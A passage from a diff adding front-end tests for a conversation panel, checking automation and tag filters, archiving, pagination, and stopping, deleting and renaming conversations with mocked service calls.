+        "default-local": ["archived-1", "archived-2"],
+      },
+    });
+    useConversationPanelPreferencesStore.setState({
+      showArchivedConversations: false,
+    });
+
+    renderConversationPanel();
+
+    await screen.findByText("CONVERSATION$NO_CONVERSATIONS");
+    expect(
+      screen.queryByText("Unarchived on next page"),
+    ).not.toBeInTheDocument();
+
+    await user.click(screen.getByTestId("load-more-conversations"));
+
+    expect(
+      await screen.findByText("Unarchived on next page"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByText("CONVERSATION$NO_CONVERSATIONS"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("scopes the list to the automation filter mode across hide and only", async () => {
+    // Arrange: two manual conversations plus one automation run recognized
+    // by its tags (local backend) and one by its trigger (cloud backend).
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: [
+        createMockConversation({ id: "1", title: "Manual 1" }),
+        createMockConversation({ id: "2", title: "Manual 2" }),
+        createMockConversation({
+          id: "3",
+          title: "Tagged Run",
+          tags: { automationname: "Nightly Audit", automationtrigger: "cron" },
+        }),
+        createMockConversation({
+          id: "4",
+          title: "Cloud Run",
+          trigger: "automation",
+        }),
+      ],
+      next_page_id: null,
+    });
+    useConversationPanelPreferencesStore.setState({
+      automationFilterMode: "hide-automations",
+    });
+
+    // Act + Assert: hide mode keeps only the manual conversations.
+    renderConversationPanel();
+    const cards = await screen.findAllByTestId("conversation-card");
+    expect(cards).toHaveLength(2);
+    expect(screen.queryByText("Tagged Run")).not.toBeInTheDocument();
+    expect(screen.queryByText("Cloud Run")).not.toBeInTheDocument();
+
+    // Act + Assert: only mode inverts the scope.
+    act(() => {
+      useConversationPanelPreferencesStore.setState({
+        automationFilterMode: "only-automations",
+      });
+    });
+    expect(await screen.findByText("Tagged Run")).toBeInTheDocument();
+    expect(screen.getByText("Cloud Run")).toBeInTheDocument();
+    expect(screen.queryByText("Manual 1")).not.toBeInTheDocument();
+  });
+
+  it("filters from the persistent filter bar and couples automation chips to the mode", async () => {
+    // Arrange: one tagged manual conversation, one untagged, one automation
+    // run (recognized by its automation tags).
+    const user = userEvent.setup();
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: [
+        createMockConversation({
+          id: "1",
+          title: "Manual 1",
+          tags: { project: "vault" },
+        }),
+        createMockConversation({ id: "2", title: "Manual 2" }),
+        createMockConversation({
+          id: "3",
+          title: "Nightly Run",
+          tags: { automationname: "Nightly Audit", automationtrigger: "cron" },
+        }),
+      ],
+      next_page_id: null,
+    });
+
+    renderConversationPanel();
+
+    // Selecting a facet in the layouts menu narrows the list.
+    await user.click(screen.getByTestId("conversation-layouts-toggle"));
+    await user.click(screen.getByTestId("tag-filters-section"));
+    await user.click(screen.getByTestId("tag-facet-row-project=vault"));
+    expect(await screen.findByText("Manual 1")).toBeInTheDocument();
+    expect(screen.queryByText("Manual 2")).not.toBeInTheDocument();
+    expect(
+      useConversationPanelPreferencesStore.getState().selectedTagFacets,
+    ).toEqual(["project=vault"]);
+
+    // Deselecting the facet restores the full list.
+    await user.click(screen.getByTestId("tag-facet-row-project=vault"));
+    expect(await screen.findByText("Manual 2")).toBeInTheDocument();
+
+    // The automation scope lives in the Advanced options modal.
+    await user.click(screen.getByTestId("advanced-options-row"));
+    await user.click(screen.getByTestId("automation-filter-only"));
+    expect(
+      useConversationPanelPreferencesStore.getState().automationFilterMode,
+    ).toBe("only-automations");
+    expect(await screen.findByText("Nightly Run")).toBeInTheDocument();
+    expect(screen.queryByText("Manual 1")).not.toBeInTheDocument();
+  });
+
+  it("keeps an active tag filter visible outside the layouts menu", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: [
+        createMockConversation({
+          id: "1",
+          title: "Manual 1",
+          tags: { project: "vault" },
+        }),
+        createMockConversation({ id: "2", title: "Manual 2" }),
+      ],
+      next_page_id: null,
+    });
+
+    renderConversationPanel();
+
+    // Nothing to announce until something is actually filtering.
+    expect(
+      screen.queryByTestId("conversation-active-tag-filters"),
+    ).not.toBeInTheDocument();
+
+    await user.click(screen.getByTestId("conversation-layouts-toggle"));
+    await user.click(screen.getByTestId("tag-filters-section"));
+    await user.click(screen.getByTestId("tag-facet-row-project=vault"));
+    await user.click(screen.getByTestId("conversation-layouts-toggle"));
+
+    // With the menu closed, the strip is the only thing on screen that says
+    // where Manual 2 went — the facet checkmark is two levels inside a menu.
+    expect(
+      await screen.findByTestId("active-tag-filter-project=vault"),
+    ).toBeInTheDocument();
+    expect(screen.queryByText("Manual 2")).not.toBeInTheDocument();
+
+    // And the way back out is on the strip too, not buried with the facets.
+    await user.click(screen.getByTestId("clear-tag-filters"));
+    expect(await screen.findByText("Manual 2")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-active-tag-filters"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("keeps a persisted automation-name filter both reachable and visible", async () => {
+    // `selectedAutomationNames` is persisted and narrows the list on its own,
+    // so it needs a control that can see and undo it — otherwise a reload
+    // hides conversations with nothing on screen to say why.
+    const user = userEvent.setup();
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: [
+        createMockConversation({
+          id: "1",
+          title: "Nightly Run",
+          tags: { automationid: "a-1", automationname: "Nightly Audit" },
+        }),
+        createMockConversation({
+          id: "2",
+          title: "Weekly Run",
+          tags: { automationid: "a-2", automationname: "Weekly Sweep" },
+        }),
+      ],
+      next_page_id: null,
+    });
+
+    renderConversationPanel();
+    expect(await screen.findByText("Nightly Run")).toBeInTheDocument();
+
+    // The name rows live in the advanced-options modal, under the scope.
+    await user.click(screen.getByTestId("conversation-layouts-toggle"));
+    await user.click(screen.getByTestId("advanced-options-row"));
+    await user.click(screen.getByTestId("automation-filter-only"));
+    await user.click(
+      await screen.findByTestId("automation-name-row-Nightly Audit"),
+    );
+    await user.click(screen.getByTestId("advanced-options-close"));
+
+    expect(await screen.findByText("Nightly Run")).toBeInTheDocument();
+    expect(screen.queryByText("Weekly Run")).not.toBeInTheDocument();
+
+    // With every menu closed, the strip is the only thing naming the
+    // narrowing — and the way back out.
+    const chip = await screen.findByTestId(
+      "active-automation-filter-Nightly Audit",
+    );
+    expect(chip).toHaveTextContent("Nightly Audit");
+
+    await user.click(chip);
+    expect(await screen.findByText("Weekly Run")).toBeInTheDocument();
+    expect(
+      useConversationPanelPreferencesStore.getState().selectedAutomationNames,
+    ).toEqual([]);
+  });
+
+  it("clears tag chips from the cards when the Tag chips preference is off", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: [
+        createMockConversation({
+          id: "1",
+          title: "Tagged 1",
+          tags: { project: "vault" },
+        }),
+      ],
+      next_page_id: null,
+    });
+    useConversationPanelPreferencesStore.setState({ showTagsMetadata: true });
+
+    renderConversationPanel();
+
+    expect(
+      await screen.findByTestId("conversation-card-tag-chip"),
+    ).toBeInTheDocument();
+
+    act(() => {
+      useConversationPanelPreferencesStore.setState({
+        showTagsMetadata: false,
+      });
+    });
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("conversation-card-tag-chip"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("keeps load more reachable with the filtered empty message when the automation filter hides every loaded conversation", async () => {
+    // Arrange: page 1 holds only an automation run (hidden by the active
+    // filter); a manual conversation sits on page 2.
+    const user = userEvent.setup();
+    vi.spyOn(AgentServerConversationService, "searchConversations")
+      .mockResolvedValueOnce({
+        items: [
+          createMockConversation({
+            id: "run",
+            title: "Tagged Run",
+            tags: { automationrunid: "run-1" },
+          }),
+        ],
+        next_page_id: "page-2",
+      })
+      .mockResolvedValueOnce({
+        items: [createMockConversation({ id: "manual", title: "Manual 1" })],
+        next_page_id: null,
+      });
+    useConversationPanelPreferencesStore.setState({
+      automationFilterMode: "hide-automations",
+    });
+
+    renderConversationPanel();
+
+    // Assert: the filter-specific empty message shows and load more stays
+    // reachable.
+    await screen.findByText("CONVERSATION_PANEL$NO_AUTOMATION_MATCHES");
+    const loadMore = await screen.findByTestId("load-more-conversations");
+
+    // Act: fetching the next page surfaces the manual conversation.
+    await user.click(loadMore);
+    expect(await screen.findByText("Manual 1")).toBeInTheDocument();
+    expect(
+      screen.queryByText("CONVERSATION_PANEL$NO_AUTOMATION_MATCHES"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("does not flash the loading skeleton during a background refetch when the list is empty", async () => {
+    // Arrange: first call (initial load) resolves with an empty list.
+    // Second call (the background refetch) is kept in-flight so we can
+    // observe the UI while `isFetching` is true — the exact window in
+    // which the buggy `isFetching`-gated code flashed the skeleton.
+    let resolveRefetch:
+      | ((value: { items: AppConversation[]; next_page_id: null }) => void)
+      | undefined;
+    const searchConversationsSpy = vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    );
+    searchConversationsSpy
+      .mockResolvedValueOnce({ items: [], next_page_id: null })
+      .mockImplementationOnce(
+        () =>
+          new Promise((resolve) => {
+            resolveRefetch = resolve;
+          }),
+      );
+
+    // Use a QueryClient we can reach so we can trigger the background
+    // refetch directly. This drives the same code path as the hook's 10s
+    // `refetchInterval` (both flip `isFetching` to true while existing
+    // data stays in the cache) without paying the cost of fake-timer
+    // gymnastics around React Query's async state machine.
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+    const PanelRouterStub = createRoutesStub([
+      {
+        Component: () => <ConversationPanel />,
+        path: "/",
+      },
+      {
+        Component: () => null,
+        path: "/conversations/:conversationId",
+      },
+    ]);
+    render(
+      <QueryClientProvider client={queryClient}>
+        <I18nextProvider i18n={i18n}>
+          <NavigationProvider
+            value={{
+              currentPath: "/",
+              conversationId: "test-conversation-id",
+              isNavigating: false,
+              navigate: vi.fn(),
+            }}
+          >
+            <PanelRouterStub />
+          </NavigationProvider>
+        </I18nextProvider>
+      </QueryClientProvider>,
+    );
+
+    // Wait for the initial fetch to settle into the empty state.
+    expect(
+      await screen.findByText("CONVERSATION$NO_CONVERSATIONS"),
+    ).toBeInTheDocument();
+
+    // Act: trigger a background refetch directly on the cached query.
+    // This drives the same code path as the hook's 10s `refetchInterval`
+    // (both flip `isFetching` to true while the cached data stays
+    // intact). The second mock holds the request in-flight so the
+    // in-flight UI is observable. We fire-and-forget the fetch because
+    // awaiting it would hang on the held promise.
+    const conversationsQuery = queryClient
+      .getQueryCache()
+      .getAll()
+      .find(
+        (query) =>
+          query.queryKey[0] === "user" && query.queryKey[1] === "conversations",
+      );
+    if (!conversationsQuery) {
+      throw new Error("conversations query was not registered");
+    }
+    await act(async () => {
+      void conversationsQuery.fetch();
+      // Yield once so React Query can dispatch the in-flight state.
+      await Promise.resolve();
+    });
+
+    // Assert: the background refetch fired, but the skeleton did not
+    // flicker back in.
+    await waitFor(() => {
+      expect(searchConversationsSpy).toHaveBeenCalledTimes(2);
+    });
+    expect(
+      screen.queryByTestId("conversation-card-skeleton"),
+    ).not.toBeInTheDocument();
+
+    // Settle the in-flight refetch so React Query can clean up.
+    resolveRefetch?.({ items: [], next_page_id: null });
+  });
+
+  it("should not display the empty state when there are no conversations and the panel is compact", async () => {
+    const searchConversationsSpy = vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    );
+    searchConversationsSpy.mockResolvedValue({
+      items: [],
+      next_page_id: null,
+    });
+
+    const CompactRouterStub = createRoutesStub([
+      {
+        Component: () => <ConversationPanel compact />,
+        path: "/",
+      },
+      {
+        Component: () => null,
+        path: "/conversations/:conversationId",
+      },
+    ]);
+
+    renderWithProviders(<CompactRouterStub />);
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("conversation-card-skeleton-compact"),
+      ).not.toBeInTheDocument();
+    });
+
+    expect(
+      screen.queryByText("CONVERSATION$NO_CONVERSATIONS"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("hides closed conversations in compact mode", async () => {
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: [
+        createMockConversation({
+          id: "running",
+          title: "Running Conversation",
+          execution_status: ExecutionStatus.RUNNING,
+        }),
+        createMockConversation({
+          id: "closed",
+          title: "Closed Conversation",
+          execution_status: ExecutionStatus.PAUSED,
+        }),
+      ],
+      next_page_id: null,
+    });
+
+    const CompactRouterStub = createRoutesStub([
+      {
+        Component: () => <ConversationPanel compact />,
+        path: "/",
+      },
+      {
+        Component: () => null,
+        path: "/conversations/:conversationId",
+      },
+    ]);
+
+    renderWithProviders(<CompactRouterStub />);
+
+    expect(
+      await screen.findByLabelText("Running Conversation"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByLabelText("Closed Conversation"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("should not render fetch errors in the conversation panel", async () => {
+    const searchConversationsSpy = vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    );
+    searchConversationsSpy.mockRejectedValue(
+      new Error("Failed to fetch conversations"),
+    );
+
+    renderConversationPanel();
+
+    await waitFor(() => {
+      expect(
+        screen.queryByText("Failed to fetch conversations"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("should cancel deleting a conversation", async () => {
+    const user = userEvent.setup();
+    renderConversationPanel();
+
+    let cards = await screen.findAllByTestId("conversation-card");
+    // Closed state is observable via the data-context-menu-open attr on the
+    // conversation-card root; visual hiding is covered by Playwright.
+    expect(cards[0]).toHaveAttribute("data-context-menu-open", "false");
+
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+    const deleteButton = screen.getByTestId("delete-button");
+
+    // Click the first delete button
+    await user.click(deleteButton);
+
+    // Cancel the deletion
+    const cancelButton = screen.getByRole("button", { name: /cancel/i });
+    await user.click(cancelButton);
+
+    expect(
+      screen.queryByRole("button", { name: /cancel/i }),
+    ).not.toBeInTheDocument();
+
+    // Ensure the conversation is not deleted
+    cards = await screen.findAllByTestId("conversation-card");
+    expect(cards).toHaveLength(3);
+  });
+
+  it("should delete a conversation", async () => {
+    const user = userEvent.setup();
+    const mockData: AppConversation[] = [
+      createMockConversation({ id: "1", title: "Conversation 1" }),
+      createMockConversation({ id: "2", title: "Conversation 2" }),
+      createMockConversation({ id: "3", title: "Conversation 3" }),
+    ];
+
+    const searchConversationsSpy = vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    );
+    searchConversationsSpy.mockImplementation(async () => ({
+      items: mockData,
+      next_page_id: null,
+    }));
+
+    const deleteConversationSpy = vi.spyOn(
+      AgentServerConversationService,
+      "deleteConversation",
+    );
+    deleteConversationSpy.mockImplementation(async (id: string) => {
+      const index = mockData.findIndex((conv) => conv.id === id);
+      if (index !== -1) {
+        mockData.splice(index, 1);
+      }
+    });
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+    // Initially shows 3 conversations (no filtering)
+    expect(cards).toHaveLength(3);
+
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+    const deleteButton = screen.getByTestId("delete-button");
+
+    // Click the first delete button
+    await user.click(deleteButton);
+
+    // Confirm the deletion
+    const confirmButton = screen.getByRole("button", { name: /confirm/i });
+    await user.click(confirmButton);
+
+    // Verify modal is closed after confirmation
+    expect(
+      screen.queryByRole("button", { name: /confirm/i }),
+    ).not.toBeInTheDocument();
+  });
+
+  it("should archive a conversation and remove it from the list", async () => {
+    const user = userEvent.setup();
+    renderConversationPanel();
+
+    let cards = await screen.findAllByTestId("conversation-card");
+    expect(cards).toHaveLength(3);
+
+    const firstCardTitle = within(cards[0]).getByText("Conversation 1");
+    expect(firstCardTitle).toBeInTheDocument();
+
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+    await user.click(screen.getByTestId("archive-button"));
+
+    expect(
+      screen.getByText("CONVERSATION$CONFIRM_ARCHIVE"),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByRole("button", { name: /archive/i }));
+
+    await waitFor(() => {
+      expect(
+        screen.queryByText("CONVERSATION$CONFIRM_ARCHIVE"),
+      ).not.toBeInTheDocument();
+    });
+
+    cards = await screen.findAllByTestId("conversation-card");
+    expect(cards).toHaveLength(2);
+    expect(screen.queryByText("Conversation 1")).not.toBeInTheDocument();
+  });
+
+  it("shows archived conversations when the preference is on and restores them", async () => {
+    // Archiving must stay reversible — that is the whole distinction from
+    // deleting, which removes the conversation from the agent server.
+    const user = userEvent.setup();
+    useArchivedConversationsStore
+      .getState()
+      .archiveConversation("default-local", "1");
+    useConversationPanelPreferencesStore.setState({
+      showArchivedConversations: true,
+    });
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+    expect(cards).toHaveLength(3);
+    const archivedCard = cards.find((card) =>
+      within(card).queryByText("Conversation 1"),
+    )!;
+    expect(
+      within(archivedCard).getByTestId("conversation-card-archived-chip"),
+    ).toBeInTheDocument();
+
+    await user.click(within(archivedCard).getByTestId("ellipsis-button"));
+    await user.click(screen.getByTestId("unarchive-button"));
+
+    await waitFor(() => {
+      expect(
+        useArchivedConversationsStore
+          .getState()
+          .isArchived("default-local", "1"),
+      ).toBe(false);
+    });
+    expect(
+      screen.queryByTestId("conversation-card-archived-chip"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("should call onClose after clicking a card", async () => {
+    const user = userEvent.setup();
+    renderConversationPanel();
+    const cards = await screen.findAllByTestId("conversation-card");
+    const firstCard = cards[1];
+
+    await user.click(firstCard);
+
+    expect(onCloseMock).toHaveBeenCalledOnce();
+  });
+
+  it("should refetch data on rerenders", async () => {
+    const user = userEvent.setup();
+    const searchConversationsSpy = vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    );
+    searchConversationsSpy.mockResolvedValue({
+      items: [...mockConversations],
+      next_page_id: null,
+    });
+
+    function PanelWithToggle() {
+      const [isOpen, setIsOpen] = React.useState(true);
+      return (
+        <>
+          <button type="button" onClick={() => setIsOpen((prev) => !prev)}>
+            Toggle
+          </button>
+          {isOpen && <ConversationPanel onClose={onCloseMock} />}
+        </>
+      );
+    }
+
+    const MyRouterStub = createRoutesStub([
+      {
+        Component: PanelWithToggle,
+        path: "/",
+      },
+    ]);
+
+    renderWithProviders(<MyRouterStub />);
+
+    const toggleButton = screen.getByText("Toggle");
+
+    // Initial render
+    const cards = await screen.findAllByTestId("conversation-card");
+    expect(cards).toHaveLength(3);
+
+    // Toggle off
+    await user.click(toggleButton);
+    expect(screen.queryByTestId("conversation-card")).not.toBeInTheDocument();
+
+    // Toggle on
+    await user.click(toggleButton);
+    const newCards = await screen.findAllByTestId("conversation-card");
+    expect(newCards).toHaveLength(3);
+  });
+
+  it("keeps invalid timestamps recent and shows older conversations by default", async () => {
+    const now = Date.now();
+    const minutesAgo = (minutes: number) =>
+      new Date(now - minutes * 60 * 1000).toISOString();
+
+    const user = userEvent.setup();
+    const searchConversationsSpy = vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    );
+    searchConversationsSpy.mockReset();
+    searchConversationsSpy
+      .mockResolvedValueOnce({
+        items: [
+          createMockConversation({
+            id: "recent",
+            title: "Recent Conversation",
+            updated_at: minutesAgo(59),
+          }),
+          createMockConversation({
+            id: "invalid",
+            title: "Invalid Timestamp",
+            updated_at: "invalid-date",
+          }),
+          createMockConversation({
+            id: "missing",
+            title: "Missing Timestamp",
+            updated_at: undefined as unknown as string,
+          }),
+          createMockConversation({
+            id: "older",
+            title: "Older Conversation",
+            updated_at: minutesAgo(61),
+          }),
+        ],
+        next_page_id: "page-2",
+      })
+      .mockResolvedValueOnce({
+        items: [
+          createMockConversation({
+            id: "paged",
+            title: "Paged Conversation",
+            updated_at: minutesAgo(30),
+          }),
+        ],
+        next_page_id: null,
+      });
+
+    renderConversationPanel();
+
+    expect(await screen.findByText("Recent Conversation")).toBeInTheDocument();
+    expect(screen.getByText("Invalid Timestamp")).toBeInTheDocument();
+    expect(screen.getByText("Missing Timestamp")).toBeInTheDocument();
+    expect(screen.getByText("Older Conversation")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("older-conversations-summary"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("load-more-conversations")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("load-more-conversations"));
+
+    await waitFor(() => {
+      expect(searchConversationsSpy).toHaveBeenCalledWith(20, "page-2");
+    });
+    expect(await screen.findByText("Paged Conversation")).toBeInTheDocument();
+  });
+
+  it("orders the entire visible list by created_at when Created sort is selected, across the recent/older partition", async () => {
+    // Arrange: three conversations whose `created_at` ordering diverges
+    // from `updated_at` across the 1-hour partition cutoff. If the panel
+    // honored only the within-bucket sort, "Old Touched" (created 10d ago
+    // but touched 30m ago) would render in the recent bucket *above* the
+    // "Mid Stale" / "Newest Stale" entries that live in the older bucket
+    // but were created more recently. Created-sort must order the whole
+    // visible list by `created_at`, not just within each partition.
+    const now = Date.now();
+    const isoMinutesAgo = (m: number) =>
+      new Date(now - m * 60 * 1000).toISOString();
+    const isoDaysAgo = (d: number) =>
+      new Date(now - d * 24 * 60 * 60 * 1000).toISOString();
+
+    useConversationPanelPreferencesStore.setState({
+      conversationSort: "updated",
+      organizeMode: "chronological",
+      showOlderConversations: true,
+    });
+
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: [
+        createMockConversation({
+          id: "old-touched",
+          title: "Old Touched",
+          created_at: isoDaysAgo(10),
+          updated_at: isoMinutesAgo(30),
+        }),
+        createMockConversation({
+          id: "newest-stale",
+          title: "Newest Stale",
+          created_at: isoDaysAgo(1),
+          updated_at: isoDaysAgo(1),
+        }),
+        createMockConversation({
+          id: "mid-stale",
+          title: "Mid Stale",
+          created_at: isoDaysAgo(3),
+          updated_at: isoDaysAgo(3),
+        }),
+      ],
+      next_page_id: null,
+    });
+
+    const user = userEvent.setup();
+    renderConversationPanel();
+    await screen.findByText("Old Touched");
+
+    // Act: open the filter menu and switch sort to Created.
+    await openAdvancedOptions(user);
+    await user.click(
+      screen.getByRole("menuitemradio", {
+        name: /CONVERSATION_PANEL\$SORT_CREATED/,
+      }),
+    );
+
+    // Assert: rendered cards are in strict created_at desc order across
+    // the full visible list, regardless of which partition they came from.
+    const cards = await screen.findAllByTestId("conversation-card");
+    expect(cards.map((card) => card.textContent ?? "")).toEqual([
+      expect.stringContaining("Newest Stale"),
+      expect.stringContaining("Mid Stale"),
+      expect.stringContaining("Old Touched"),
+    ]);
+  });
+
+  it("should cancel stopping a conversation", async () => {
+    const user = userEvent.setup();
+
+    // Create mock data with a RUNNING conversation
+    const mockRunningConversations: AppConversation[] = [
+      createMockConversation({
+        id: "1",
+        title: "Running Conversation",
+        execution_status: ExecutionStatus.RUNNING,
+      }),
+      createMockConversation({
+        id: "2",
+        title: "Starting Conversation",
+        execution_status: ExecutionStatus.RUNNING,
+      }),
+      createMockConversation({
+        id: "3",
+        title: "Stopped Conversation",
+        execution_status: ExecutionStatus.PAUSED,
+      }),
+    ];
+
+    const searchConversationsSpy = vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    );
+    searchConversationsSpy.mockResolvedValue({
+      items: mockRunningConversations,
+      next_page_id: null,
+    });
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+    expect(cards).toHaveLength(3);
+
+    // Click ellipsis on the first card (RUNNING status)
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    // Stop button should be available for RUNNING conversation
+    const stopButton = screen.getByTestId("stop-button");
+    expect(stopButton).toBeInTheDocument();
+
+    // Click the stop button
+    await user.click(stopButton);
+
+    // Cancel the stopping action
+    const cancelButton = screen.getByRole("button", { name: /cancel/i });
+    await user.click(cancelButton);
+
+    expect(
+      screen.queryByRole("button", { name: /cancel/i }),
+    ).not.toBeInTheDocument();
+
+    // Ensure the conversation status hasn't changed
+    const updatedCards = await screen.findAllByTestId("conversation-card");
+    expect(updatedCards).toHaveLength(3);
+  });
+
+  it("should stop a conversation", async () => {
+    const user = userEvent.setup();
+
+    const mockData: AppConversation[] = [
+      createMockConversation({
+        id: "1",
+        title: "Conversation 1",
+        execution_status: ExecutionStatus.RUNNING,
+      }),
+      createMockConversation({
+        id: "2",
+        title: "Conversation 2",
+        execution_status: ExecutionStatus.FINISHED,
+      }),
+      createMockConversation({
+        id: "3",
+        title: "Conversation 3",
+        execution_status: ExecutionStatus.FINISHED,
+      }),
+    ];
+
+    const searchConversationsSpy = vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    );
+    searchConversationsSpy.mockImplementation(async () => ({
+      items: mockData,
+      next_page_id: null,
+    }));
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+    // Component shows all 3 conversations (no filtering by status)
+    expect(cards).toHaveLength(3);
+
+    // Click ellipsis on the first card (RUNNING status)
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    const stopButton = screen.getByTestId("stop-button");
+
+    // Click the stop button
+    await user.click(stopButton);
+
+    // Confirm the stopping action
+    const confirmButton = screen.getByRole("button", { name: /confirm/i });
+    await user.click(confirmButton);
+
+    expect(
+      screen.queryByRole("button", { name: /confirm/i }),
+    ).not.toBeInTheDocument();
+
+    // Verify the mutation was called
+    expect(mockStopConversationMutate).toHaveBeenCalledWith({
+      conversationId: "1",
+    });
+    expect(mockStopConversationMutate).toHaveBeenCalledTimes(1);
+  });
+
+  it("should only show stop button for STARTING or RUNNING conversations", async () => {
+    const user = userEvent.setup();
+
+    const mockMixedStatusConversations: AppConversation[] = [
+      createMockConversation({
+        id: "1",
+        title: "Running Conversation",
+        execution_status: ExecutionStatus.RUNNING,
+      }),
+      createMockConversation({
+        id: "2",
+        title: "Starting Conversation",
+        execution_status: ExecutionStatus.RUNNING,
+      }),
+      createMockConversation({
+        id: "3",
+        title: "Stopped Conversation",
+        execution_status: ExecutionStatus.PAUSED,
+      }),
+    ];
+
+    const searchConversationsSpy = vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    );
+    searchConversationsSpy.mockResolvedValue({
+      items: mockMixedStatusConversations,
+      next_page_id: null,
+    });
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+    expect(cards).toHaveLength(3);
+
+    const getCardByTitle = async (title: string) => {
+      const currentCards = await screen.findAllByTestId("conversation-card");
+      const card = currentCards.find((candidate) =>
+        within(candidate).queryByText(title),
+      );
+      expect(card).toBeDefined();
+      return card as HTMLElement;
+    };
+
+    // Test RUNNING conversation - should show stop button
+    const runningCard = await getCardByTitle("Running Conversation");
+    const runningEllipsisButton =
+      within(runningCard).getByTestId("ellipsis-button");
+    await user.click(runningEllipsisButton);
+
+    expect(await screen.findByTestId("stop-button")).toBeInTheDocument();
+
+    // Click outside to close the menu
+    await user.click(document.body);
+
+    // Wait for context menu to close before opening the next one.
+    await waitFor(() => {
+      expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument();
+    });
+
+    // Test STARTING/RUNNING conversation - should show stop button
+    const startingCard = await getCardByTitle("Starting Conversation");
+    const startingEllipsisButton =
+      within(startingCard).getByTestId("ellipsis-button");
+    await user.click(startingEllipsisButton);
+
+    expect(await screen.findByTestId("stop-button")).toBeInTheDocument();
+
+    // Click outside to close the menu
+    await user.click(document.body);
+
+    // Wait for context menu to close before opening the next one.
+    await waitFor(() => {
+      expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument();
+    });
+
+    // Test STOPPED conversation - should NOT show stop button
+    const stoppedCard = await getCardByTitle("Stopped Conversation");
+    const stoppedEllipsisButton =
+      within(stoppedCard).getByTestId("ellipsis-button");
+    await user.click(stoppedEllipsisButton);
+
+    await waitFor(() => {
+      expect(stoppedCard).toHaveAttribute("data-context-menu-open", "true");
+    });
+    expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument();
+  });
+
+  it("should show edit button in context menu", async () => {
+    const user = userEvent.setup();
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+    expect(cards).toHaveLength(3);
+
+    // Click ellipsis to open context menu
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    // Edit button should be visible within the first card's context menu
+    const editButton = screen.getByTestId("edit-button");
+    expect(editButton).toBeInTheDocument();
+    expect(editButton).toHaveTextContent("BUTTON$RENAME");
+  });
+
+  it("should enter edit mode when edit button is clicked", async () => {
+    const user = userEvent.setup();
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // Click ellipsis to open context menu
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+    await user.click(ellipsisButton);
+
+    // Click edit button within the first card's context menu
+    const editButton = screen.getByTestId("edit-button");
+    await user.click(editButton);
+
+    // Should find input field instead of title text
+    const titleInput = within(cards[0]).getByTestId("conversation-card-title");
+    expect(titleInput).toBeInTheDocument();
+    expect(titleInput.tagName).toBe("INPUT");
+    expect(titleInput).toHaveValue("Conversation 1");
+    expect(titleInput).toHaveFocus();
+  });
+
+  it("should successfully update conversation title", async () => {
+    const user = userEvent.setup();
+
+    // Mock the updateConversationTitle API call
+    const updateConversationTitleSpy = vi.spyOn(
+      AgentServerConversationService,
+      "updateConversationTitle",
+    );
+    updateConversationTitleSpy.mockResolvedValue(
+      createMockConversation({ id: "1", title: "Updated Title" }),
+    );
+
+    renderConversationPanel();
+
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // Enter edit mode
+    const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
